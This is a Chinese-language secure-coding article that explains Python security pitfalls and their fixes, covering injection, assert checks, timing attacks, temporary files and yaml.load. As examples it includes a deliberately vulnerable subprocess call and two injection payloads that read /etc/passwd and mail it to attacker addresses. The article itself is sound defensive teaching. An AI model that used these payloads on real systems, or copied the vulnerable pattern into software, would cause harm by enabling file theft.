资讯专栏INFORMATION COLUMN

Python 中的 10 个常见安全漏洞,以及如何避免(上)

Jingbin_ / 3050人阅读

摘要:在考虑安全性时,你需要考虑如何避免被滥用,也不例外,即使在标准库中,也存在用于编写应用的不良实践。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数应用程序涉及可变延迟,因此几乎不可能在服务器上编写计时攻击。

简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而,许多 Python 开发人员却根本不知道它们。
1. 输入注入(Input injection)

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串字面量与变量混合。我读过很多代码,其中「escaping quotes」被认为是一种修复,但事实并非如此,可以通过这个链接查看 SQL 注入所有可能发生的复杂方式。

命令注入可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess

def transcode_file(request, filename):
    command = "ffmpeg -i "{source}" output_file.mpg".format(source=filename)
    subprocess.call(command, shell=True)  # a bad idea!

攻击者会将 filename 的值设置为“; cat / etc / passwd | mail them@domain.com 或者其他同样危险的东西。

修复:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

2. assert 语句(Assert statements)

不要使用 assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):
   assert user.is_admin, “user does not have access”
   # secure code...

现在,默认情况下,Python 以 debug 为 true 来执行脚本,但在生产环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin。

修复:

仅在与其他开发人员进行通信时使用 assert 语句,例如在单元测试中或为了防止不正确的 API 使用。

3. 计时攻击(Timing attacks)

计时攻击本质上是一种通过计时比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能在 HTTP Web 服务器上编写计时攻击。

但是,如果你有提示输入密码的命令行应用程序,则攻击者可以编写一个简单的脚本来计算将其值与实际密码进行比较所需的时间。

修复:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

4.临时文件(Temporary files)

要在 Python 中创建临时文件,通常使用 mktemp() 函数生成一个文件名,然后使用该名称创建一个文件。 「这是不安全的,因为另一个进程可能会在调用 mktemp() 和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。」这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确的方法,则最新版本的 Python 会抛出运行警告。

修复:

如果需要生成临时文件,请使用 tempfile 模块并使用 mkstemp。

5. 使用 yaml.load

引用 PyYAML 文档:

警告:使用从不可信源接收到的数据来调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的 Python 项目 Ansible 中找到的这个美丽的例子,你可以将此值作为(有效)YAML 提供给 Ansible Vault,它使用文件中提供的参数调用 os.system()。

!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]

所以,从用户提供的值中有效地加载 YAML 文件会让应用对攻击打开大门。

修复:

总是使用 yaml.safe_load,除非你有一个非常好的理由。

原文:10 common security gotchas in Python and how to avoid them

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/41914.html

相关文章

  • Python 中的 10 常见安全漏洞以及如何避免(下)

    摘要:在考虑安全性时,你需要考虑如何避免被滥用,也不例外,即使在标准库中,也存在用于编写应用的不良实践。修复使用替换标准库模块,它增加了针对这些类型攻击的安全防护。但这却是中最大的安全漏洞之一。 简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python也不例外,即使在标准库中,也存在用于编写应用的不良实践。然而...

    PiscesYE 评论0 收藏0
  • Python 中的 10 常见安全漏洞以及如何避免

    摘要:在考虑安全性时,你需要考虑如何避免被滥用,也不例外,即使在标准库中,也存在用于编写应用的不良实践。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数应用程序涉及可变延迟,因此几乎不可能在服务器上编写计时攻击。 简评:编写安全代码很困难,当你学习一个编程语言、模块或框架时,你会学习其使用方法。 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中...

    Kaede 评论0 收藏0
  • 10你应该了解的Git命令(以及Git省时小窍门)

    摘要:下面是需要了解的个命令和它们的一些常见标志。每个命令都链接到该命令的指南。仅用于提交级别。指定一个不同的提交,而不是来丢弃自提交以来的更改。包装在本文中,你已经看到了一些关键的命令,并配置了环境以节省时间。 showImg(https://segmentfault.com/img/remote/1460000018662396); 在本文中,我们将讨论那些作为开发人员、数据科学家或产品...

    laoLiueizo 评论0 收藏0
  • Python和SQL Server 2017的强大功能

    摘要:它主要是为了允许在中使用基于的机器学习,但是它可以与任何库或框架一起使用。已经通过启用服务器通过使用的机器学习服务在中执行脚本,添加到其高级分析扩展,现在称为机器学习服务。存储的实例必须安装具有的机器学习服务要在中使用执行脚本,应运行或。 Python和SQL Server 2017的强大功能 Python是SQL Server 2017的新功能。它主要是为了允许在SQLServer中...

    everfight 评论0 收藏0
  • 前端每周清单第 44 期: 2017 JS 调查报告、REST 接口实时化、ESM 的过去与未来

    摘要:巅峰人生年老兵思路上的转变,远比单纯提升技术更有价值本文节选自赵成教授在极客时间开设的赵成的运维体系管理课,是其对自己十年技术生涯的回顾与总结。赵成教授来自美丽联合集团,集团旗下两大主力产品是蘑菇街和美丽说,目前负责管理集团的技术服务团队。 showImg(https://segmentfault.com/img/remote/1460000012476504?w=1240&h=826...

    MASAILA 评论0 收藏0

发表评论

0条评论

Jingbin_

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<